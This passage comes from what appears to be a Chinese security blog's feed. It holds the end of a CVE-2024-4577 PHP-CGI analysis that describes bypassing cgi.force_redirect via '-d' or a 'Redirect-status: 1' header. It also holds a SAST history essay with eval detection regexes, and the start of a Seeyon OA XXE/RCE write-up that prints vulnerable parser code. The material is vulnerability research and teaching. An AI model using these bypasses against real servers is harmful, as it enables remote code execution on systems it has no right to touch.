granted</span><br><span class="line">    &lt;&#x2F;Files&gt;</span><br><span class="line">&lt;&#x2F;Directory&gt;</span><br></pre></td></tr></table></figure><p>上面的配置是什么意思呢？</p><p>其实就是访问<code>/php-cgi/</code>路径的时候，会映射<code>D:/xampp/php/</code>下的文件，而这个目录下正好是php的整个目录</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202406110957534.png" alt="img"></p><p>但这又有什么用呢，毕竟都denied了，<strong>只有php-cgi.exe是granted的</strong>，我们把视角还是回到php-cgi上。</p><p>如果我们直接访问调用php-cgi.exe，会怎么样呢？</p><p>答案是会有<strong>安全警告</strong></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202406110957728.png" alt="img"></p><p>那我们顺着这个思路去看下代码</p><p><a href="https://github.com/php/php-src/blob/51379d66ec8732e506c43f6c7f1befc500117ae8/sapi/cgi/cgi_main.c#L1912" target="_blank" rel="noopener">https://github.com/php/php-src/blob/51379d66ec8732e506c43f6c7f1befc500117ae8/sapi/cgi/cgi_main.c#L1912</a></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202406110957709.png" alt="img"></p><p>我们会发现我们遇到了一个新的概念叫做<strong>force_redirect</strong>，这其实算是<strong>PHP的一个自我保护机制</strong>。在P牛的知识星球里就有提过这个问题。</p><p><a href="https://wx.zsxq.com/dweb2/index/topic_detail/15411452114282" target="_blank" rel="noopener">https://wx.zsxq.com/dweb2/index/topic_detail/15411452114282</a></p><p>说白了就是，PHP增加了一个配置叫做<strong>cgi.force_redirect=1</strong>，<strong>开启了这个选项（默认开启）</strong>之后，只有经过重定向的规则请求才能执行，不能直接调用执行。那有什么办法绕过呢？</p><p>其实如果顺着逻辑到这里，就已经很清晰了，第一个办法也就是最直接的办法就是，既然前面已经实现了-d修改配置，那么你就正好-d再把cgi.force_redirect修改成0就行了，非常直白。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202406110957913.png" alt="img"></p><p>而第二个办法相对来说比较少见，我们继续回到源码当中可以发现，除了force_redirect的分支以外，其实如果能确保<code>REDIRECT_STATUS</code>或者<code>HTTP_REDIRECT_STATUS</code>存在值，也可以不进入到这个分支里。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202406111000460.png" alt="image-20240611095958631"></p><p>当然一般来说这种变量是不可控的，但是HTTP开头的变量一般来自于请求的头，那么我们就可以在请求头中加入<code>Redirect-status: 1</code>来设置这个变量，同样可以绕过</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;在2024.6.6今天，@Orange在他的博客发布了他即将在2024年8月Black Hat USA公开的议题《&lt;strong&gt;Confusion Attacks: Exploiting Hidden Semantic Ambiguity in Apache HTTP Server!&lt;/strong&gt;》&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.blackhat.com/us-24/briefings/schedule/index.html#confusion-attacks-exploiting-hidden-semantic-ambiguity-in-apache-http-server-40227&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://www.blackhat.com/us-24/briefings/schedule/index.html#confusion-attacks-exploiting-hidden-semantic-ambiguity-in-apache-http-server-40227&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;伴随着议题的发布，今天在DEVCORE的官方博客发布了一个漏洞通报，也就是存在于&lt;strong&gt;windows特殊场景下的PHP CGI远程代码执行漏洞&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;接下来看看漏洞的详情&lt;/p&gt;</summary>
    
    
    
    
    <category term="php" scheme="https://lorexxar.cn/tags/php/"/>
    
    <category term="rce" scheme="https://lorexxar.cn/tags/rce/"/>
    
  </entry>
  
  <entry>
    <title>人与代码的桥梁-聊聊SAST</title>
    <link href="https://lorexxar.cn/2023/12/18/sast2024/"/>
    <id>https://lorexxar.cn/2023/12/18/sast2024/</id>
    <published>2023-12-18T09:30:42.000Z</published>
    <updated>2023-12-18T09:34:11.000Z</updated>
    
    <content type="html"><![CDATA[<p>自从人类发明了工具开始，人类就在不断为探索如何更方便快捷的做任何事情，在科技发展的过程中，人类不断地试错，不断地思考，于是才有了<strong>现代伟大的科技时代。</strong></p><p>在安全领域里，每个安全研究人员在研究的过程中，也同样的不断地探索着如何能够自动化的解决各个领域的安全问题。其中<strong>自动化代码审计</strong>就是<strong>安全自动化</strong>绕不过去的坎。</p><p>而SAST作为<strong>自动化代码分析</strong>的一种，有着其特有的定位以及作用，这篇文章我们就来聊聊静态分析的一些发展历程和思路。</p><p>本篇文章其实在2年前曾经写过一次，在2年后的今天处于偶然的契机正好要写一篇相关的文章，所以<strong>重写了这部分内容</strong>，其中修正了不少在这期间内探索获取的新理念和思路，希望有价值。</p><a id="more"></a><h1 id="静态代码分析工具"><a href="#静态代码分析工具" class="headerlink" title="静态代码分析工具"></a>静态代码分析工具</h1><p><strong>静态代码分析</strong>主要是通过分析目标代码，通过纯静态的手段进行分析处理，并挖掘相应的漏洞/Bug.</p><p>再过去的十几年里，<strong>静态代码分析工具</strong>经历了长期的发展与演变过程，下面我们就一起回顾一下（下面的<strong>每个时期主要代表的相对的发展期，并不是比较绝对的诞生前后</strong>）：</p><h2 id="上古时期-关键字匹配"><a href="#上古时期-关键字匹配" class="headerlink" title="上古时期 - 关键字匹配"></a>上古时期 - 关键字匹配</h2><p>如果我问你<strong>“如果让你设计一个自动化代码审计工具，你会怎么设计？”</strong>，我相信，你一定会回答我，可以尝试通过匹配关键字。紧接着你也会迅速意识到<strong>通过关键字匹配的问题</strong>。</p><p>这里我们拿PHP做个简单的例子。</p><p><a href="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/zybuluo-backup/LoRexxar/h9ynqnq6h648slrjb2rtw3a2/image.png" target="_blank" rel="noopener"><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202312181731567.png" alt="img"></a></p><p>虽然我们<strong>匹配到了这个简单的漏洞</strong>，但是很快发现，事情并没有那么简单。</p><p><a href="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/zybuluo-backup/LoRexxar/zkbjd0mt3rme150nk558laai/image.png" target="_blank" rel="noopener"><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202312181732260.png" alt="img"></a></p><p>也许你说你可以通过<strong>简单的关键字</strong>重新匹配到这个问题</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">\beval\(\$</span><br></pre></td></tr></table></figure><p>但是可惜的是，作为安全研究员，你永远没办法知道开发人员是怎么写代码的。于是选择用关键字匹配的你面临着两种选择：</p><ul><li><strong>高覆盖性 – 宁错杀不放过</strong></li></ul><p>这类工具最经典的就是Seay，通过<strong>简单的关键字来匹配经可能多的目标</strong>，之后使用者可以通过人工审计的方式进一步确认。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">\beval\b\(</span><br></pre></td></tr></table></figure><ul><li><strong>高可用性 – 宁放过不错杀</strong></li></ul><p>这类工具最经典的是<strong>Rips免费版</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">\beval\b\(\$_(GET|POST)</span><br></pre></td></tr></table></figure><p>用更多的正则来约束，用更多的规则来覆盖多种情况。这也是早期静态自动化代码审计工具普遍的实现方法。</p><p>但问题显而易见，<strong>高覆盖性和高可用性是这种实现方法永远无法解决的硬伤，不但维护成本巨大，而且误报率和漏报率也是居高不下</strong>。所以被时代所淘汰也是历史的必然。</p><h2 id="近代时期-基于AST的代码分析"><a href="#近代时期-基于AST的代码分析" class="headerlink" title="近代时期 - 基于AST的代码分析"></a>近代时期 - 基于AST的代码分析</h2><p>有人忽略问题，也有人解决问题。关键字匹配最大的问题是在于你永远没办法保证开发人员的习惯，你也就没办法通过任何制式的匹配来确认漏洞，那么<strong>基于AST的代码分析</strong>方式就诞生了，<strong>开发人员是不同的，但编译器是相同的。</strong></p><p>在分享这种原理之前，我们首先可以复习一下<strong>编译原理</strong>。拿PHP代码举例子：</p><p><a href="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/zybuluo-backup/LoRexxar/gxlprb3kug04kyhoca1kqqyk/image.png" target="_blank" rel="noopener"><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202312181732203.png" alt="img"></a></p><p>随着PHP7的诞生，AST也作为<strong>PHP解释执行的中间层</strong>出现在了编译过程的一环。</p><p><a href="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/zybuluo-backup/LoRexxar/myl2o2sy6f2cbkkqutnvdqw6/image.png" target="_blank" rel="noopener"><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202312181732521.png" alt="img"></a></p><p>通过<strong>词法分析和语法分析</strong>，我们可以<strong>将任意一份代码转化为AST语法树</strong>。<strong>PHP常见的语义分析库</strong>可以参考：</p><ul><li><a href="https://github.com/nikic/PHP-Parser" target="_blank" rel="noopener">https://github.com/nikic/PHP-Parser</a></li><li><a href="https://github.com/viraptor/phply" target="_blank" rel="noopener">https://github.com/viraptor/phply</a></li></ul><p>当我们得到了一份AST语法树之后，我们就解决了前面提到的<strong>关键字匹配最大的问题</strong>，至少我们现在对于不同的代码，都有了统一的AST语法树。如何对AST语法树做分析也就成了这类工具最大的问题。</p><p>在理解如何分析AST语法树之前，我们首先要明白<strong>infomation flow、source、sink</strong>三个概念，</p><ul><li><strong>source：</strong> 我们可以简单的称之为输入，也就是infomation flow的起点</li><li><strong>sink：</strong> 我们可以称之为输出，也就是infomation flow的终点</li><li><strong>infomation flow</strong>，则是指数据流动的过程。</li></ul><p>把这个概念放在<strong>PHP代码审计</strong>过程中，<strong>Source就是指用户可控的输入</strong>，比如$_GET、$_POST等，而<strong>Sink就是指我们要找到的敏感函数</strong>，比如echo、eval，如果<strong>某一个Source到Sink存在一个完整的流</strong>，那么我们就可以认为存在一个可控的漏洞，这也就是<strong>基于infomation flow的代码审计原理</strong>。</p><p>在明白了基础原理的基础上，我举几个简单的例子：</p><p><a href="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/zybuluo-backup/LoRexxar/s3zv846dojonbqqeinxmj2i6/image.png" target="_blank" rel="noopener"><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202312181732044.png" alt="img"></a></p><p>在上面的分析过程中，<strong>Sink就是eval函数，Source就是$_GET</strong>，通过<strong>回溯Sink的来源</strong>，我们成功找到了<strong>一条流向Source的infomation flow</strong>，也就成功发现了这个漏洞。</p><p>在分析infomation flow的过程中，<strong>明确作用域是基础中的基础.</strong>这也是分析infomation flow的关键，我们可以一起看看一段简单的代码</p><p><a href="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/zybuluo-backup/LoRexxar/mtw0qxwezl6aint6apcu8qmp/image.png" target="_blank" rel="noopener"><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202312181732854.png" alt="img"></a></p><p>如果我们<strong>很简单的跟踪赋值关系去回溯</strong>，而<strong>没有考虑到函数定义</strong>的话，我们很容易将流定义为：<br><a href="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/zybuluo-backup/LoRexxar/jriu86cbyww44k7ioktat8kn/image.png" target="_blank" rel="noopener"><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202312181732874.png" alt="img"></a></p><p>这样我们就<strong>错误的把这段代码定义成了存在漏洞</strong>，但很显然并不是，而<strong>正确的分析流程</strong>应该是这样的:<br><a href="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/zybuluo-backup/LoRexxar/f7yjojkps705lo3wf1nkmeel/image.png" target="_blank" rel="noopener"><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202312181732375.png" alt="img"></a></p><p>在这段代码中，从<strong>主语法树的作用域</strong>跟到<strong>Get函数的作用域</strong>，如何<strong>维持作用域的变动</strong>，就是基于AST语法树分析的一大难点，当我们在代码中不可避免的<strong>使用递归来控制作用域</strong>时，在<strong>多层递归中的统一标准</strong>也就成了分析的基础核心问题。</p><p>事实上，即便你做好了这个<strong>最简单的基础核心问题</strong>，你也会遇到层出不穷的问题。这里我举两个简单的例子</p><p><strong>(1) 新函数封装</strong></p><p><a href="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/zybuluo-backup/LoRexxar/lb1o8e97y2cdtbvqx4zuwtke/image.png" target="_blank" rel="noopener"><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202312181732328.png" alt="img"></a></p><p>这是一段很经典的代码，<strong>敏感函数被封装成了新的敏感函数</strong>，参数是被<strong>二次传递</strong>的。为了解决，这样infomation flow的方向从<strong>逆向-&gt;正向</strong>的问题。</p><p><a href="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/zybuluo-backup/LoRexxar/5lwpn1hfu67ocl3jz7h6p3f4/image.png" target="_blank" rel="noopener"><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202312181732672.png" alt="img"></a></p><p><strong>(2) 多重调用链</strong></p><p><a href="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/zybuluo-backup/LoRexxar/bp13bfx6hcyfyjr3frkwwunm/image.png" target="_blank" rel="noopener"><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202312181733461.png" alt="img"></a></p><p>这是<strong>一段有漏洞的JS代码</strong>，人工的话很容易看出来问题。但是如果通过自动化的方式回溯参数的话就会发现<strong>整个流程中涉及到了多种流向</strong>。</p><p><a href="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/zybuluo-backup/LoRexxar/rtxvdakikkclp186bu72npt8/image.png" target="_blank" rel="noopener"><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202312181733672.png" alt="img"></a></p><p>这里我用<strong>红色和黄色代表了流的两种流向</strong>。要解决这个问题只能通过<strong>针对类/字典变量的特殊回溯</strong>才能解决。</p><p>如果说，前面的两个问题是可以被解决的话，还有<strong>很多问题是很难被解决的</strong>，这里举一个简单的例子。</p><p><a href="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/zybuluo-backup/LoRexxar/jmpmecemnwmsvcbb4xi2eyuv/image.png" target="_blank" rel="noopener"><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202312181733996.png" alt="img"></a></p><p>这是一个典型的全局过滤，人工审计可以很容易看出这里被过滤了。但是如果在自动化分析过程中，当<strong>回溯到Source为$_GET[‘a’]</strong>时，已经满足了<strong>从Source到sink的infomation flow</strong>，<strong>已经被识别为漏洞</strong>。一个典型的误报就出现了。</p><p>而<strong>基于AST的自动化代码审计工具</strong>也正是在与这样的问题做博弈，对于基于AST的代码分析来说，最大的挑战在于<strong>没人能保证自己完美的处理所有的AST结构，再加上基于单向流的分析方式，无法应对100%的场景</strong>。</p><h2 id="近代时期-基于IR-CFG的代码分析"><a href="#近代时期-基于IR-CFG的代码分析" class="headerlink" title="近代时期 - 基于IR/CFG的代码分析"></a>近代时期 - 基于IR/CFG的代码分析</h2><p>如果深度了解过<strong>基于AST的代码分析原理</strong>的话，不难发现<strong>许多弊端</strong>。首先<strong>AST是编译原理中IR/CFG的更上层</strong>，其<strong>内容更接近源代码</strong>。</p><p>也就是说，分析AST更接近分析代码，换句话就是说<strong>基于AST的分析得到的流，</strong>更接近<strong>脑子里对代码执行</strong>里的流程，忽略了大多数的分支、跳转、循环这类影响执行过程顺序的条件，这也是<strong>基于AST的代码分析的普遍解决方案</strong>，当然，从结果论上很难辨别忽略带来的后果。而<strong>基于IR/CFG这类带有控制流的解决方案，则是另一种解决思路。</strong></p><p>首先我们得知道什么是IR/CFG。</p><ul><li><strong>IR：</strong>是一种<strong>类似于汇编语言的线性代码</strong>，其中各个指令按照顺序执行。其中现在主流的IR是<strong>三地址码（四元组）</strong></li><li><strong>CFG: （Control flow graph）控制流图</strong>，在程序中最简单的<strong>控制流单位是一个基本块</strong>，在CFG中，每一个节点代表一个基本块，每一个边代表一个可控的控制转移，整个CFG代表了整个代码的的控制流程图。</li></ul><p>一般来说，我们需要<strong>遍历IR来生成CFG</strong>，当然，你也可以用AST来生成CFG，毕竟AST是比较高的层级。</p><p>而基于CFG的代码分析思路优势在于，对于一份代码来说，你首先有了一份<strong>控制流图</strong>（或者说是执行顺序），然后才到漏洞挖掘这一步。比起<strong>基于AST的代码分析</strong>来说，你只需要<strong>专注于从Source到Sink的过程</strong>即可。</p><p>但其实无论是基于哪种底层，<strong>后续的分析流程与AST其实别无太大的差别</strong>，挑战的核心仍然维持<strong>在如何控制流，维持作用域，处理程序逻辑的分支过程，确认Source与Sink。</strong>上文中提到的是静态分析当中比较常见的一种作用域数据流回溯分析的思路，其实<strong>正向的污点分析</strong>，亦或者后来被人提到比较多的<strong>指针分析</strong>，核心思路大同小异。</p><p>而代码分析的基础方面，既然存在<strong>基于AST的代码分析</strong>，又存在<strong>基于CFG的代码分析</strong>，自然也存在<strong>其他的种类</strong>。比如现在市场上主流的fortify，Checkmarx，Coverity包括最新的Rips都使用了<strong>自己构造的语言的某一个中间部分</strong>，比如fortify和Coverity就需要对<strong>源码编译的某一个中间语言</strong>进行分析，又比如源伞实现了<strong>多种语言生成统一的IR</strong>，Joern使用了<strong>基于AST生成的CPG图结构</strong>进行分析。</p><p>事实上，无论是基于某种基础结构的代码分析，技术手段本身只有适应场景的不同，对于技术选型这件事情本身来说更重要的是你想要<strong>构建一个什么样的代码分析工具</strong>。</p><h2 id="未来-通用化代码分析框架"><a href="#未来-通用化代码分析框架" class="headerlink" title="未来 - 通用化代码分析框架"></a>未来 - 通用化代码分析框架</h2><h3 id="基于QL概念的框架-CodeQL"><a href="#基于QL概念的框架-CodeQL" class="headerlink" title="基于QL概念的框架 - CodeQL"></a>基于QL概念的框架 - CodeQL</h3><p><strong>QL指的是一种面向对象的查询语言，用于从关系数据库中查询数据的语言。</strong>我们常见的SQL就属于一种QL，一般用于查询存储在数据库中的数据。</p><p>而在代码分析领域，<strong>Semmle QL是最早诞生的QL语言</strong>，他最早被应用于<strong>LGTM</strong>，并被用于Github内置的安全扫描为大众免费提供。紧接着，<strong>CodeQL</strong>也被开发出来，作为稳定的<strong>代码分析框架</strong>在github社区化。</p><ul><li><a href="https://securitylab.github.com/tools/codeql" target="_blank" rel="noopener">https://securitylab.github.com/tools/codeql</a></li><li><a href="https://semmle.com/codeql" target="_blank" rel="noopener">https://semmle.com/codeql</a></li></ul><p><strong>那么什么是QL呢？QL又和代码分析有什么关系呢？</strong></p><p>首先我们回顾一下基于AST、CFG这类代码分析最大的特点是什么？无论是基于哪种中间件建立的代码分析流程，都离不开3个概念，流、Source、Sink，<strong>这类代码分析的原理无论是正向还是逆向，都是通过在Source和Sink中寻找一条流</strong>。而这条流的建立围绕的是代码执行的流程，就好像编译器编译运行一样，程序总是流式运行的。这种分析的方式就是<strong>数据流分析（Data Flow）</strong>。</p><p>而<strong>QL就是把这个流的每一个环节具象化</strong>，把每个节点的操作<strong>具像成状态的变化</strong>，并且储存到数据库中。</p><p>这样一来，通过构造QL语言，我们就能<strong>找到满足条件的节点</strong>，并构造成流。下面我举一个简单的例子来说：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php</span><br><span class="line"></span><br><span class="line">$a &#x3D; $_GET[&#39;a&#39;];</span><br><span class="line">$b &#x3D; htmlspecialchars($a);</span><br><span class="line"></span><br><span class="line">echo $b;</span><br></pre></td></tr></table></figure><p>我们简单的<strong>把前面的流写成一个表达式</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">echo &#x3D;&gt; $_GET.is_filterxss</span><br></pre></td></tr></table></figure><p>这里is_filterxss被认为是输入$_GET的一个标记，在分析这类漏洞的时候，我们就可以直接用QL表达</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">select * where &#123;</span><br><span class="line">    Source : $_GET,</span><br><span class="line">    Sink : echo,</span><br><span class="line">    is_filterxss : False,</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>通过<strong>构造满足条件的语句</strong>，我们就可以找到这个漏洞（上面的代码仅为伪代码），从这样的一个例子我们不难发现，<strong>QL其实更接近一个概念，他鼓励将信息流具象化</strong>，这样我们就可以用更通用的方式去写规则筛选。</p><p><strong>CodeQL类的工具(包括CheckMarx等等)其实就是类似的一个基础理念</strong>，通过<strong>封装底层的代码处理逻辑</strong>，并<strong>提供一个非常易用的上层平台</strong>给用户，用户可以<strong>不用了解复杂的编译原理就可以编写漏洞的规则。</strong></p><p>但其实说到底这只是一个理念，并不是结果，以CodeQL为例子，其构建的一套语法规则并不能算是一套门槛很低的东西，反而<strong>其黑盒的底层阻止了安全研究人员进一步研究和使用CodeQL。</strong></p><h3 id="基于工具化的框架-Joern"><a href="#基于工具化的框架-Joern" class="headerlink" title="基于工具化的框架 - Joern"></a>基于工具化的框架 - Joern</h3><p>如果说CodeQL类的工具是探索做一个通用化的代码分析框架，来解决代码分析的场景。那Joern就走了另一条路，就是<strong>工具化</strong>。</p><p>Joern的底层原理是一套<strong>基于AST生成的通用CPG(Code Property Graph)</strong>图，在图的上层实现了一套<strong>基于OverflowDb的查询语言</strong>以供使用者可以在不需要知晓底层原理的基础上查询分析。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202312181733266.png" alt="img"></p><p>但我们这里想讨论的并不是Joern的原理，而是理念。Joern把自己定<strong>位成了安全研究员用于代码分析的一个工具</strong>，而不是执着于<strong>用一个按钮一个规则扫描漏洞</strong>，而是提供了<strong>人和代码的桥梁</strong>。</p><p>在Joern里，我用的比较多，也是比较常见的一个场景就是<strong>寻找某个方法的调用关系</strong>。在Joern shell当中，你可以用<strong>非常简单的方法获取某个函数的调用位置</strong>，<strong>已经调用了该函数的函数</strong>。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202312181733780.png" alt="img"></p><p>所以在Joern当中，你可以忽略数据流分析，而是用一些<strong>非常简单的交互式命令</strong>来辅助，在Joern你可以非常简单的获取<strong>“调用了A方法的路由入口”</strong>，而更实际的利用链完全可以有人来判定，省去为了上下文分析花去的力气。</p><p>当然，Joern在某些方面是<strong>成也工具化败也工具化</strong>，<strong>cpg本身强调调用关系和引用关系</strong>，Joern shell后端引用scala<strong>易用性有余实用性不足</strong>，你几乎<strong>很难</strong>在Joern的上层<strong>做数据流分析层面的分析</strong>。</p><h1 id="后话"><a href="#后话" class="headerlink" title="后话"></a>后话</h1><p>其实相较第一版本的内容来说，我没有对文章内容做太多的更改，因为<strong>对于静态分析的底层原理</strong>来说<strong>用什么技术已经没什么很大的意义了</strong>，说到底<strong>原理都是差不多的</strong>。</p><p>商业代码分析的软件包括Checkmarx、fortify等等，再到后来的CodeQL说到底其实都是<strong>技术长期积累的技术壁垒</strong>，很多问题也不是学术上的什么难点攻破。</p><p>而近几年越来越多的相关东西也如雨后春笋冒了出来，开源社区比较火的Joern、tabby、tai-e，商业公司比较火的蜚语的corax，梅子酒创业的寻臻科技，其实技术原理上的东西大同小异，说到底就是还<strong>没有足够好用的产品出来</strong>，<strong>大多代码分析的软件还停留在某个底层技术的应用上</strong>。</p><p>而代码分析工具<strong>本身的易用性和场景化</strong>遇到的问题在我看来问题更大，即便是商业化程度非常高的Checkmarx这种软件也没法<strong>非常简单直白的接入到devsecops流程当中</strong>，很多工具甚至都<strong>解决不了高误报率和扫描效率低的问题</strong>，更谈不上实用了。在我看来，一款实用的好的代码分析软件还有很长的路要走~</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;自从人类发明了工具开始，人类就在不断为探索如何更方便快捷的做任何事情，在科技发展的过程中，人类不断地试错，不断地思考，于是才有了&lt;strong&gt;现代伟大的科技时代。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;在安全领域里，每个安全研究人员在研究的过程中，也同样的不断地探索着如何能够自动化的解决各个领域的安全问题。其中&lt;strong&gt;自动化代码审计&lt;/strong&gt;就是&lt;strong&gt;安全自动化&lt;/strong&gt;绕不过去的坎。&lt;/p&gt;
&lt;p&gt;而SAST作为&lt;strong&gt;自动化代码分析&lt;/strong&gt;的一种，有着其特有的定位以及作用，这篇文章我们就来聊聊静态分析的一些发展历程和思路。&lt;/p&gt;
&lt;p&gt;本篇文章其实在2年前曾经写过一次，在2年后的今天处于偶然的契机正好要写一篇相关的文章，所以&lt;strong&gt;重写了这部分内容&lt;/strong&gt;，其中修正了不少在这期间内探索获取的新理念和思路，希望有价值。&lt;/p&gt;</summary>
    
    
    
    
    <category term="sast" scheme="https://lorexxar.cn/tags/sast/"/>
    
  </entry>
  
  <entry>
    <title>Joern In RealWorld (3) - 致远OA A8 SSRF2RCE</title>
    <link href="https://lorexxar.cn/2023/11/21/joernrw3/"/>
    <id>https://lorexxar.cn/2023/11/21/joernrw3/</id>
    <published>2023-11-21T09:09:10.000Z</published>
    <updated>2023-11-21T09:53:42.000Z</updated>
    
    <content type="html"><![CDATA[<p><strong>致远OA是国内最有名的OA系统之一</strong>，这个OA封闭商业售卖再加上纷繁复杂的版本号加持下，致远OA拥有大量无法准确判断的版本。</p><p>这篇文章的漏洞源于下面这篇文章，文章中提到<strong>该漏洞影响A8, A8+, A6等多个版本</strong>，但很多版本我都找不到对应的源码，光A8就有一万个版本，下面我们尽可能的复现漏洞和探索Joern的可能性</p><ul><li><a href="https://mp.weixin.qq.com/s/QWHHdYxUew_yhlnAQUvmRA" target="_blank" rel="noopener">https://mp.weixin.qq.com/s/QWHHdYxUew_yhlnAQUvmRA</a></li></ul><a id="more"></a><h1 id="漏洞原理"><a href="#漏洞原理" class="headerlink" title="漏洞原理"></a>漏洞原理</h1><p>先花一点儿篇幅简单的描述一下漏洞的基础原理，其实漏洞分为好几个部分</p><ul><li><strong>致远oa 前台XXE漏洞</strong></li><li><strong>致远oa S1服务 后台jdbc注入</strong></li><li><strong>H2 jdbc注入导致RCE</strong></li><li><strong>致远oa S1服务 后台用户密码重置导致的鉴权绕过</strong></li></ul><p>我们分开讨论这部分</p><h2 id="致远oa前台xxe漏洞"><a href="#致远oa前台xxe漏洞" class="headerlink" title="致远oa前台xxe漏洞"></a>致远oa前台xxe漏洞</h2><p>首先我必须得说，<strong>这部分内容涉及到的代码我找了很多个版本的源码都没有找到</strong>，尝试搜索了一下原漏洞以及一些简单的分析文章其实大部分都没有提到这部分代码的来源。</p><p>我觉得最神奇的点在于，这个漏洞如果<strong>仅按照原文提及的部分，漏洞原理及其简单</strong>，而且是一个比较<strong>标准的xxe漏洞</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">private List&lt;Element&gt; getNodes(String xmlString, String xpath) &#123;</span><br><span class="line">    ArrayList tmpList = null;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">        SAXReader saxReader = new SAXReader();</span><br><span class="line">        Reader xml_sr = new StringReader(xmlString);</span><br><span class="line">        saxReader.setEncoding(<span class="string">"UTF-8"</span>);</span><br><span class="line">        Document document = saxReader.read(xml_sr);</span><br><span class="line">        <span class="keyword">if</span> (document.getRootElement() == null) &#123;</span><br><span class="line">            throw new KgException(new KgCommonsError(<span class="string">"XmlParser Object hasn't RootElement."</span>, KgCommonsError.SYSTEM_ERROR.getCode()));</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            List&lt;?&gt; contexts = document.selectNodes(xpath);</span><br><span class="line">            tmpList = new ArrayList();</span><br><span class="line"></span><br><span class="line">            <span class="keyword">for</span>(int i = <span class="number">0</span>; i &lt; contexts.size(); ++i) &#123;</span><br><span class="line">                <span class="keyword">if</span> (contexts.get(i) instanceof Element) &#123;</span><br><span class="line">                    tmpList.add((Element)contexts.get(i));</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">            <span class="keyword">return</span> tmpList;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure><p><strong>可控参数</strong> 